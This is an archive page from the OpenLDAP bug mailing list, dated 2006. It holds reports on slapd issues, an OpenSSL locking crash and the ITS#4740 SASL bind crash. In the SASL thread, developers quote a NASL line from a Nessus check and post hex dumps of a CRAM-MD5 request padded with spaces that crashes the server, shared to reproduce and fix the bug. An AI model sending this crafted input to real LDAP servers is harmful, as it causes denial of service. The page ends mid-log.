- openldap-bugs - openldap.org

(ITS#4765) sd_actives in daemon.c not initialized?
by wanggang.wang＠gmail.com 01 Dec '06

01 Dec '06

Full_Name: Gang Wang Version: 2.3.20 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (202.108.130.138) openldap-2.3.20/servers/slapd/daemon.c There is one declaration in slap_daemon structure: fd_set sd_actives; this variable is not initialized ... is this OK with all compilers?

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(ITS#4764) ditStructureRules/dITStructureRules typo error?
by wanggang.wang＠gmail.com 01 Dec '06

01 Dec '06

Full_Name: Gang Wang Version: 2.3.20 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (202.108.130.138) openldap-2.3.20/servers/slapd/schema_prep.c Line 370 "MAY ( dITStructureRules $ nameForms $ ditContentRules $ " { "ditStructureRules", "( 2.5.21.1 NAME 'dITStructureRules' " { "ditContentRules", "( 2.5.21.2 NAME 'dITContentRules' " there are some "dIT" in the strings instead of "dit". is it some kind of typo error? I'm porting this version to some operating system. the compiler complains ...

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Re: (ITS#4723) SEGV in syncprov search
by hyc＠symas.com 30 Nov '06

30 Nov '06

Aaron Richton wrote: > Actually, this could be it exactly. To my reading, the 0.9.8d tarball > still defaults to (an extremely dangerous) getpid(). 2.3.30 never uses > CRYPTO_set_id_callback. And the most recent thread I see on the matter > ended > (http://www.mail-archive.com/openssl-dev@openssl.org/msg21037.html) with > an attitude of "Yeah, if anything, we should make things break more > frequently when there's no callback set." Perhaps we should be adding > one, with a bit of platform awareness through lutil? In the current OpenSSL, the address of errno is tested as well. Since this is always unique per thread, there's really no need to set the id callback any more. The problem with just using CRYPTO_set_id_callback is that it doesn't work on platforms where a thread ID is not an integer (e.g. OS/390). I don't think CRYPTO_set_idptr_callback was available in earlier OpenSSL releases. Too bad they didn't define CRYPTO_set_id_callback correctly, to return the actual type of a thread ID instead of unsigned long. > > On Wed, 29 Nov 2006, Howard Chu wrote: > >> Aaron Richton wrote: >>> I'm on latest 0.9.7 release. I can try and put together a slapd with >>> 0.9.8d, and I guess if we're going to (potentially?) be pointing >>> fingers toward OpenSSL that's a good idea anyway... >> >> Yes, definitely a good idea. The prior releases always used getpid() >> to determine the threadID of the current thread, to decide if locking >> was needed. This is obviously only correct on old systems running >> LinuxThreads, where each thread was actually a separate process. It's >> surprising that it wasn't until recently that we've started seeing >> crashes caused by this bug. > > . > -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4723) SEGV in syncprov search
by richton＠nbcs.rutgers.edu 30 Nov '06

30 Nov '06

Actually, this could be it exactly. To my reading, the 0.9.8d tarball still defaults to (an extremely dangerous) getpid(). 2.3.30 never uses CRYPTO_set_id_callback. And the most recent thread I see on the matter ended (http://www.mail-archive.com/openssl-dev@openssl.org/msg21037.html) with an attitude of "Yeah, if anything, we should make things break more frequently when there's no callback set." Perhaps we should be adding one, with a bit of platform awareness through lutil? On Wed, 29 Nov 2006, Howard Chu wrote: > Aaron Richton wrote: >> I'm on latest 0.9.7 release. I can try and put together a slapd with >> 0.9.8d, and I guess if we're going to (potentially?) be pointing fingers >> toward OpenSSL that's a good idea anyway... > > Yes, definitely a good idea. The prior releases always used getpid() to > determine the threadID of the current thread, to decide if locking was > needed. This is obviously only correct on old systems running LinuxThreads, > where each thread was actually a separate process. It's surprising that it > wasn't until recently that we've started seeing crashes caused by this bug.

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Re: (ITS#4723) SEGV in syncprov search
by hyc＠symas.com 29 Nov '06

29 Nov '06

Aaron Richton wrote: > I'm on latest 0.9.7 release. I can try and put together a slapd with > 0.9.8d, and I guess if we're going to (potentially?) be pointing fingers > toward OpenSSL that's a good idea anyway... Yes, definitely a good idea. The prior releases always used getpid() to determine the threadID of the current thread, to decide if locking was needed. This is obviously only correct on old systems running LinuxThreads, where each thread was actually a separate process. It's surprising that it wasn't until recently that we've started seeing crashes caused by this bug. > > On Tue, 28 Nov 2006, Howard Chu wrote: > >> richton(a)nbcs.rutgers.edu wrote: >>> Here's another, although without a malloc debugger: >> >>> What would be good ways to go about figuring out if this is an issue >>> with the SSL library or slapd's usage thereof? >> >> What version of OpenSSL are you using? I've definitely encountered >> locking issues in 0.9.7 and early 0.9.8 releases. Some of those are >> supposed to be fixed in the latest 0.9.8. >> >> -- >> -- Howard Chu >> Chief Architect, Symas Corp. http://www.symas.com >> Director, Highland Sun http://highlandsun.com/hyc >> OpenLDAP Core Team http://www.openldap.org/project/ >> > > . > -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4723) SEGV in syncprov search
by richton＠nbcs.rutgers.edu 29 Nov '06

29 Nov '06

Here's another, although without a malloc debugger: current thread: t@11 [1] t_delete(0x9e4fa18, 0x80, 0xd7d0bc0, 0xfec3c000, 0x0, 0xedbff3f1), at 0xfebc783c [2] _malloc_unlocked(0x80, 0x0, 0xedbff3e8, 0xfec3c000, 0x4, 0x5), at 0xfebc6ecc [3] malloc(0x80, 0xff000000, 0x0, 0x0, 0x0, 0x0), at 0xfebc6d00 =>[4] default_malloc_ex(num = 128U, file = 0xfefe30b0 "bn_rand.c", line = 134), line 79 in "mem.c" [5] CRYPTO_malloc(num = 128, file = 0xfefe30b0 "bn_rand.c", line = 134), line 304 in "mem.c" [6] bnrand(pseudorand = 0, rnd = 0xa6b753c, bits = 1024, top = -1, bottom = 0), line 134 in "bn_rand.c" [7] BN_rand(rnd = 0xa6b753c, bits = 1024, top = -1, bottom = 0), line 212 in "bn_rand.c" [8] bn_rand_range(pseudo = 0, r = 0xa6b753c, range = 0x368558), line 274 in "bn_rand.c" [9] BN_rand_range(r = 0xa6b753c, range = 0x368558), line 285 in "bn_rand.c" [10] setup_blinding(rsa = 0x368298, ctx = 0xa6b7538), line 308 in "rsa_eay.c" [11] RSA_eay_private_decrypt(flen = 128, from = 0x10edc0e6 "j\xb46\x8bb^Y\x8d\xcc\x86\xb2\xb2\x9c\n&\xdaYu^R^T\xc9Z\xca!\x9c\xaa\xd9i\x8d7\xf9x\xa1\xb0;\xa0 T", to = 0x10edc0e6 "j\xb46\x8bb^Y\x8d\xcc\x86\xb2\xb2\x9c\n&\xdaYu^R^T\xc9Z\xca!\x9c\xaa\xd9i\x8d7\xf9x\xa1\xb0;\xa0 T", rsa = 0x368298, padding = 1), line 536 in "rsa_eay.c" [12] RSA_private_decrypt(flen = 128, from = 0x10edc0e6 "j\xb46\x8bb^Y\x8d\xcc\x86\xb2\xb2\x9c\n&\xdaYu^R^T\xc9Z\xca!\x9c\xaa\xd9i\x8d7\xf9x\xa1\xb0;\xa0 T", to = 0x10edc0e6 "j\xb46\x8bb^Y\x8d\xcc\x86\xb2\xb2\x9c\n&\xdaYu^R^T\xc9Z\xca!\x9c\xaa\xd9i\x8d7\xf9x\xa1\xb0;\xa0 T", rsa = 0x368298, padding = 1), line 292 in "rsa_lib.c" [13] ssl3_get_client_key_exchange(s = 0xd25c868), line 1454 in "s3_srvr.c" [14] ssl3_accept(s = 0xd25c868), line 448 in "s3_srvr.c" [15] SSL_accept(s = 0xd25c868), line 816 in "ssl_lib.c" [16] ldap_pvt_tls_accept(sb = 0xcc316f8, ctx_arg = 0x31f4e8), line 863 in "tls.c" [17] connection_read(s = 63), line 1337 in "connection.c" [18] slapd_daemon_task(ptr = (nil)), line 2352 in "daemon.c" What would be good ways to go about figuring out if this is an issue with the SSL library or slapd's usage thereof?

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Re: (ITS#4740) SASL bind assert
by bthomas＠google.com 28 Nov '06

28 Nov '06

------=_Part_3513_4952625.1164743928641 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sorry folks, it does look like a libdb mismatch. A little bit of poking around found conflicting versions on the system and slapd opening both, and setting up another testbed with 2.3.30 finds the server immune to the NASL test. Sorry to bother you guys, and thanks for the help. Brian ------=_Part_3513_4952625.1164743928641 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Sorry folks, it does look like a libdb mismatch. A little bit of poking around found conflicting versions on the system and slapd opening both, and setting up another testbed with 2.3.30 finds the server immune to the NASL test. Sorry to bother you guys, and thanks for the help. Brian ------=_Part_3513_4952625.1164743928641--

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Re: (ITS#4740) SASL bind assert
by bthomas＠google.com 28 Nov '06

28 Nov '06

------=_Part_3380_11468608.1164742144339 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline So after playing with this a bit more, I think there may be 'something else' going on, although what that something else is I'm not entirely sure. This may be another facet of the bug, a new bug entirely, or nothing to do with OpenLDAP code. Specifically, I played around with what the NASL script was sending to the server. I tried sending different space counts, followed by padding of some other character ('A'), to see what it would do. I'm afraid the results aren't as conclusive as I'd hoped. 1) If I send a SINGLE SPACE to start the data portion, like so: mkbyte(4) + mkbyte(8) + "CRAM-MD5" + mkbyte(4) + mkbyte(0x82) + mkword(0x0400) + crap(data:" ", length:1) + crap(data:"A", length:1023); the server NEVER crashes, no matter how many times I try it. 2) If I send more than a single space, even just 2 (followed by 1022 A's, for example), the server will USUALLY, but NOT ALWAYS crash. (Approx 80% of the time it chokes) 3) If I send more than 64 spaces, the server ALWAYS crashes. I do not know if 64 is a magic number; I originally started out trying to send only 254 spaces + padding, which reliably caused crashes, and kept ratching down the number until I suddenly stopped getting crashes reliably at 64 spaces. I started to send a eureka email of sorts, but a couple more tests yielded crashes at 64, and now it's crashing relatively reliably (90% of the time, I'd say) from spaces=2 on up. Finally, and I'm not sure how significant this is, every time it crashes the [len=XXX] portion of the slapd_sasl_getdn debug line is ONE CHARACTER LESS than the number of spaces I send. So, for example, if I send 2 spaces followed by 1022 A's, then I see: slap_sasl_getdn: conn 10 id= [len=1] If I send 64 spaces followed by 960 A's, then len=63, and so on. If the server does not crash, getdn is never called, with SASL complaining "Failure: need authentication name". I'm not sure if this helps or just muddies the issue further. ------=_Part_3380_11468608.1164742144339 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline So after playing with this a bit more, I think there may be 'something else' going on, although what that something else is I'm not entirely sure. This may be another facet of the bug, a new bug entirely, or nothing to do with OpenLDAP code. Specifically, I played around with what the NASL script was sending to the server. I tried sending different space counts, followed by padding of some other character ('A'), to see what it would do. I'm afraid the results aren't as conclusive as I'd hoped. 1) If I send a SINGLE SPACE to start the data portion, like so:       mkbyte(4) + mkbyte(8) + "CRAM-MD5" +       mkbyte(4) + mkbyte(0x82) + mkword(0x0400) +       crap(data:" ", length:1) +       crap(data:"A", length:1023); the server NEVER crashes, no matter how many times I try it. 2) If I send more than a single space, even just 2 (followed by 1022 A's, for example), the server will USUALLY, but NOT ALWAYS crash. (Approx 80% of the time it chokes) 3) If I send more than 64 spaces, the server ALWAYS crashes. I do not know if 64 is a magic number; I originally started out trying to send only 254 spaces + padding, which reliably caused crashes, and kept ratching down the number until I suddenly stopped getting crashes reliably at 64 spaces. I started to send a eureka email of sorts, but a couple more tests yielded crashes at 64, and now it's crashing relatively reliably (90% of the time, I'd say) from spaces=2 on up. Finally, and I'm not sure how significant this is, every time it crashes the [len=XXX] portion of the slapd_sasl_getdn debug line is ONE CHARACTER LESS than the number of spaces I send. So, for example, if I send 2 spaces followed by 1022 A's, then I see: slap_sasl_getdn: conn 10 id=  [len=1]  If I send 64 spaces followed by 960 A's, then len=63, and so on. If the server does not crash, getdn is never called, with SASL complaining  "Failure: need authentication name". I'm not sure if this helps or just muddies the issue further. ------=_Part_3380_11468608.1164742144339--

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Re: (ITS#4740) SASL bind assert
by bthomas＠google.com 28 Nov '06

28 Nov '06

------=_Part_2868_7949219.1164737844232 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Entirely possible (conflicting libdb versions). However, this crash is 100% reproduceable on my system using the Nessus test specifically for the bug at issue here. Nessus script ID is 20939, entitled "OpenLDAP SASL Bind Denial of Service Vulnerability". I actually was going to try to reproduce the problem with a perl script but it seemed more time than it was worth since I had a reliable failure case with the NASL script. I've searched to see if there appears to be a libdb conflict of some sort, and can't find anything, but that may just mean I haven't looked hard enough! I spent some more time poring of the code last night, and nothing jumped out at me. However, as a further data point, I played with the NASL script some to send different data, and I can ONLY get the server to crash if I send spaces. Specifically, the relevant (and hopefully self-documenting) line of NASL script is as follows: mkbyte(4) + mkbyte(0x82) + mkword(0x0400) + crap(data:" ", length:1024); If 'data:" "' is changed to be 'data:"A"', for example, the server does not crash, and the message in the debug output is what I expect (snipped for brevity). Last line of hex dump follows: 0400: 41 41 41 41 AAAA ber_scanf fmt (}}) ber: ber_dump: buf=0x09ec9330 ptr=0x09ec974f end=0x09ec974f len=0 >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=<continuing> datalen=1024 SASL [conn=3] Failure: need authentication name send_ldap_result: conn=3 op=1 p=3 send_ldap_result: err=80 matched="" text="SASL(-5): bad protocol / cancel: need authentication name" send_ldap_response: msgid=509 tag=97 err=80 ber_flush: 72 bytes to sd 13 Does this help? Brian On 11/27/06, Howard Chu <hyc(a)symas.com> wrote: > > Kurt D. Zeilenga wrote: > > At 08:06 PM 11/27/2006, hyc(a)symas.com wrote: > >> Kurt(a)OpenLDAP.org wrote: > >>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: > >>>> Spoke too soon. > >>>> You code appears to be sending the same requests as > >>>> Nessus, at least as described here: > >>>> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 > >>>> > >>>> Suspect a mismatch between what you and Brian are > >>>> testing... > >>> Howard, is the normalized authcDN in your testing correct? > >> It has a single escaped space. > > > > And that's correct (I was wrong before). A directory string of > > N spaces normalizes to a single space, which must be escaped in > > the DN. > > > > So it does seem like you and Brian are simply not running the > > same code. > > The only difference between my current RE23 tree and 2.3.30 is in > syncprov.c which is obviously not involved here. I would guess Brian's > issue may be libsasl2 related, and no longer something resident in the > OpenLDAP code. (E.g., conflicting libdb versions.) > > -- > -- Howard Chu > Chief Architect, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc > OpenLDAP Core Team http://www.openldap.org/project/ > ------=_Part_2868_7949219.1164737844232 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Entirely possible (conflicting libdb versions). However, this crash is 100% reproduceable on my system using the Nessus test specifically for the bug at issue here. Nessus script ID is 20939, entitled "OpenLDAP SASL Bind Denial of Service Vulnerability". I actually was going to try to reproduce the problem with a perl script but it seemed more time than it was worth since I had a reliable failure case with the NASL script. I've searched to see if there appears to be a libdb conflict of some sort, and can't find anything, but that may just mean I haven't looked hard enough! I spent some more time poring of the code last night, and nothing jumped out at me. However, as a further data point, I played with the NASL script some to send different data, and I can ONLY get the server to crash if I send spaces. Specifically, the relevant (and hopefully self-documenting) line of NASL script is as follows: mkbyte(4) + mkbyte(0x82) + mkword(0x0400) + crap(data:" ", length:1024); If 'data:" "' is changed to be 'data:"A"', for example, the server does not crash, and the message in the debug output is what I expect (snipped for brevity). Last line of hex dump follows:   0400:  41 41 41 41                                        AAAA ber_scanf fmt (}}) ber: ber_dump: buf=0x09ec9330 ptr=0x09ec974f end=0x09ec974f len=0 >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=<continuing> datalen=1024 SASL [conn=3] Failure: need authentication name send_ldap_result: conn=3 op=1 p=3 send_ldap_result: err=80 matched="" text="SASL(-5): bad protocol / cancel: need authentication name" send_ldap_response: msgid=509 tag=97 err=80 ber_flush: 72 bytes to sd 13 Does this help? Brian <div>On 11/27/06, Howard Chu <<a href="mailto:hyc@symas.com">hyc(a)symas.com</a>> wrote:<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"> Kurt D. Zeilenga wrote: > At 08:06 PM 11/27/2006, <a href="mailto:hyc@symas.com">hyc(a)symas.com</a> wrote: >> <a href="mailto:Kurt@OpenLDAP.org">Kurt(a)OpenLDAP.org</a> wrote: >>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >>>> Spoke too soon. >>>> You code appears to be sending the same requests as >>>> Nessus, at least as described here: >>>>  <a href="http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625"> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625</a> >>>> >>>> Suspect a mismatch between what you and Brian are >>>> testing... >>> Howard, is the normalized authcDN in your testing correct? >> It has a single escaped space. > > And that's correct (I was wrong before).  A directory string of > N spaces normalizes to a single space, which must be escaped in > the DN. > > So it does seem like you and Brian are simply not running the > same code. The only difference between my current RE23 tree and 2.3.30 is in syncprov.c which is obviously not involved here. I would guess Brian's issue may be libsasl2 related, and no longer something resident in the OpenLDAP code. (E.g., conflicting libdb versions.) --    -- Howard Chu    Chief Architect, Symas Corp.  <a href="http://www.symas.com"> http://www.symas.com</a>    Director, Highland Sun        <a href="http://highlandsun.com/hyc">http://highlandsun.com/hyc</a>    OpenLDAP Core Team            <a href="http://www.openldap.org/project/">http://www.openldap.org/project/ </a> </blockquote></div> ------=_Part_2868_7949219.1164737844232--

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Re: (ITS#4740) SASL bind assert
by hyc＠symas.com 28 Nov '06

28 Nov '06

Kurt D. Zeilenga wrote: > At 08:06 PM 11/27/2006, hyc(a)symas.com wrote: >> Kurt(a)OpenLDAP.org wrote: >>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >>>> Spoke too soon. >>>> You code appears to be sending the same requests as >>>> Nessus, at least as described here: >>>> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 >>>> >>>> Suspect a mismatch between what you and Brian are >>>> testing... >>> Howard, is the normalized authcDN in your testing correct? >> It has a single escaped space. > > And that's correct (I was wrong before). A directory string of > N spaces normalizes to a single space, which must be escaped in > the DN. > > So it does seem like you and Brian are simply not running the > same code. The only difference between my current RE23 tree and 2.3.30 is in syncprov.c which is obviously not involved here. I would guess Brian's issue may be libsasl2 related, and no longer something resident in the OpenLDAP code. (E.g., conflicting libdb versions.) -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org 28 Nov '06

28 Nov '06

At 08:06 PM 11/27/2006, hyc(a)symas.com wrote: >Kurt(a)OpenLDAP.org wrote: >> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >>> Spoke too soon. >>> You code appears to be sending the same requests as >>> Nessus, at least as described here: >>> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 >>> >>> Suspect a mismatch between what you and Brian are >>> testing... >> >> Howard, is the normalized authcDN in your testing correct? > >It has a single escaped space. And that's correct (I was wrong before). A directory string of N spaces normalizes to a single space, which must be escaped in the DN. So it does seem like you and Brian are simply not running the same code. -- Kurt >Here's the log with 256 characters >instead of 1024: > > >>> slap_listener(ldap://:9011)connection_get(12) >connection_get(12): got connid=2 >connection_read(12): checking for input on id=2 >ber_get_next >ldap_read: want=8, got=8 > 0000: 30 17 02 02 04 e7 60 11 0.....`. >ldap_read: want=17, got=17 > 0000: 02 01 03 04 00 a3 0a 04 08 43 52 41 4d 2d 4d 44 >.........CRAM-MD > 0010: 35 5 >ber_get_next: tag 0x30 len 23 contents: >ber_get_next >ldap_read: want=8 error=Resource temporarily unavailable >ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable) >do_bind >ber_scanf fmt ({imt) ber: >ber_scanf fmt ({m) ber: >ber_scanf fmt (}}) ber: > >>> dnPrettyNormal: <> ><<< dnPrettyNormal: <>, <> >do_sasl_bind: dn () mech CRAM-MD5 >==> sasl_bind: dn="" mech=CRAM-MD5 datalen=0 >send_ldap_sasl: err=14 len=38 >send_ldap_response: msgid=1255 tag=97 err=14 >ber_flush: 55 bytes to sd 12 > 0000: 30 35 02 02 04 e7 61 2f 0a 01 0e 04 00 04 00 87 >05....a/........ > 0010: 26 3c 39 34 32 38 34 39 37 31 39 2e 37 30 35 38 >&<942849719.7058 > 0020: 36 35 39 40 6d 61 6e 64 6f 6c 69 6e 2e 73 79 6d >659(a)mandolin.sym > 0030: 61 73 2e 63 6f 6d 3e as.com> >ldap_write: want=55, written=55 > 0000: 30 35 02 02 04 e7 61 2f 0a 01 0e 04 00 04 00 87 >05....a/........ > 0010: 26 3c 39 34 32 38 34 39 37 31 39 2e 37 30 35 38 >&<942849719.7058 > 0020: 36 35 39 40 6d 61 6e 64 6f 6c 69 6e 2e 73 79 6d >659(a)mandolin.sym > 0030: 61 73 2e 63 6f 6d 3e as.com> ><== slap_sasl_bind: rc=14 >connection_get(12) >connection_get(12): got connid=2 >connection_read(12): checking for input on id=2 >ber_get_next >ldap_read: want=8, got=8 > 0000: 30 82 01 1f 02 02 04 e6 0....... >ldap_read: want=283, got=283 > 0000: 60 82 01 17 02 01 03 04 00 a3 82 01 0e 04 08 43 >`..............C > 0010: 52 41 4d 2d 4d 44 35 04 82 01 00 20 20 20 20 20 RAM-MD5.... > 0020: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0030: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0040: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0050: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0060: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0070: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0080: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0090: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00b0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00d0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00f0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0100: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0110: 20 20 20 20 20 20 20 20 20 20 20 >ber_get_next: tag 0x30 len 287 contents: >ber_get_next >ldap_read: want=8 error=Resource temporarily unavailable >ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable) >connection_get(12) >connection_get(12): got connid=2 >connection_read(12): checking for input on id=2 >ber_get_next >ldap_read: want=8, got=0 > >ber_get_next on fd 12 failed errno=0 (Success) >connection_closing: readying conn=2 sd=12 for close >connection_close: deferring conn=2 sd=12 >do_bind >ber_scanf fmt ({imt) ber: >ber_scanf fmt ({m) ber: >ber_scanf fmt (m) ber: >ber_scanf fmt (}}) ber: > >>> dnPrettyNormal: <> ><<< dnPrettyNormal: <>, <> >do_sasl_bind: dn () mech CRAM-MD5 >==> sasl_bind: dn="" mech=<continuing> datalen=256 >SASL Canonicalize [conn=2]: authcid=" > > > > " >slap_sasl_getdn: conn 2 id= > > > >[len=255] >=> ldap_dn2bv(16) ><= ldap_dn2bv(uid=\20 > > > >\20,cn=CRAM-MD5,cn=auth)=0 >slap_sasl_getdn: u:id converted to uid=\20 > > > > \20,cn=CRAM-MD5,cn=auth > >>> dnNormalize: <uid=\20 > > > >\20,cn=CRAM-MD5,cn=auth> >=> ldap_bv2dn(uid=\20 > > > >\20,cn=CRAM-MD5,cn=auth,0) ><= ldap_bv2dn(uid=\20 > > > >\20,cn=CRAM-MD5,cn=auth)=0 >=> ldap_dn2bv(272) ><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 ><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> >==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN >slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth ><==slap_sasl2dn: Converted SASL name to <nothing> >SASL Canonicalize [conn=2]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" >SASL [conn=2] Failure: no secret in database >send_ldap_result: conn=2 op=1 p=3 >send_ldap_result: err=49 matched="" text="SASL(-13): user not found: no >secret in database" >send_ldap_response: msgid=1254 tag=97 err=49 ><== slap_sasl_bind: rc=49 >connection_resched: attempting closing conn=2 sd=12 >connection_close: conn=2 sd=12 > > > >-- > -- Howard Chu > Chief Architect, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc > OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4740) SASL bind assert
by hyc＠symas.com 28 Nov '06

28 Nov '06

Kurt(a)OpenLDAP.org wrote: > At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >> Spoke too soon. >> You code appears to be sending the same requests as >> Nessus, at least as described here: >> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 >> >> Suspect a mismatch between what you and Brian are >> testing... > > Howard, is the normalized authcDN in your testing correct? It has a single escaped space. Here's the log with 256 characters instead of 1024: >>> slap_listener(ldap://:9011)connection_get(12) connection_get(12): got connid=2 connection_read(12): checking for input on id=2 ber_get_next ldap_read: want=8, got=8 0000: 30 17 02 02 04 e7 60 11 0.....`. ldap_read: want=17, got=17 0000: 02 01 03 04 00 a3 0a 04 08 43 52 41 4d 2d 4d 44 .........CRAM-MD 0010: 35 5 ber_get_next: tag 0x30 len 23 contents: ber_get_next ldap_read: want=8 error=Resource temporarily unavailable ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable) do_bind ber_scanf fmt ({imt) ber: ber_scanf fmt ({m) ber: ber_scanf fmt (}}) ber: >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=CRAM-MD5 datalen=0 send_ldap_sasl: err=14 len=38 send_ldap_response: msgid=1255 tag=97 err=14 ber_flush: 55 bytes to sd 12 0000: 30 35 02 02 04 e7 61 2f 0a 01 0e 04 00 04 00 87 05....a/........ 0010: 26 3c 39 34 32 38 34 39 37 31 39 2e 37 30 35 38 &<942849719.7058 0020: 36 35 39 40 6d 61 6e 64 6f 6c 69 6e 2e 73 79 6d 659(a)mandolin.sym 0030: 61 73 2e 63 6f 6d 3e as.com> ldap_write: want=55, written=55 0000: 30 35 02 02 04 e7 61 2f 0a 01 0e 04 00 04 00 87 05....a/........ 0010: 26 3c 39 34 32 38 34 39 37 31 39 2e 37 30 35 38 &<942849719.7058 0020: 36 35 39 40 6d 61 6e 64 6f 6c 69 6e 2e 73 79 6d 659(a)mandolin.sym 0030: 61 73 2e 63 6f 6d 3e as.com> <== slap_sasl_bind: rc=14 connection_get(12) connection_get(12): got connid=2 connection_read(12): checking for input on id=2 ber_get_next ldap_read: want=8, got=8 0000: 30 82 01 1f 02 02 04 e6 0....... ldap_read: want=283, got=283 0000: 60 82 01 17 02 01 03 04 00 a3 82 01 0e 04 08 43 `..............C 0010: 52 41 4d 2d 4d 44 35 04 82 01 00 20 20 20 20 20 RAM-MD5.... 0020: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0030: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0040: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0050: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0060: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0070: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0080: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0090: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00b0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00d0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00f0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0100: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0110: 20 20 20 20 20 20 20 20 20 20 20 ber_get_next: tag 0x30 len 287 contents: ber_get_next ldap_read: want=8 error=Resource temporarily unavailable ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable) connection_get(12) connection_get(12): got connid=2 connection_read(12): checking for input on id=2 ber_get_next ldap_read: want=8, got=0 ber_get_next on fd 12 failed errno=0 (Success) connection_closing: readying conn=2 sd=12 for close connection_close: deferring conn=2 sd=12 do_bind ber_scanf fmt ({imt) ber: ber_scanf fmt ({m) ber: ber_scanf fmt (m) ber: ber_scanf fmt (}}) ber: >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=<continuing> datalen=256 SASL Canonicalize [conn=2]: authcid=" " slap_sasl_getdn: conn 2 id= [len=255] => ldap_dn2bv(16) <= ldap_dn2bv(uid=\20 \20,cn=CRAM-MD5,cn=auth)=0 slap_sasl_getdn: u:id converted to uid=\20 \20,cn=CRAM-MD5,cn=auth >>> dnNormalize: <uid=\20 \20,cn=CRAM-MD5,cn=auth> => ldap_bv2dn(uid=\20 \20,cn=CRAM-MD5,cn=auth,0) <= ldap_bv2dn(uid=\20 \20,cn=CRAM-MD5,cn=auth)=0 => ldap_dn2bv(272) <= 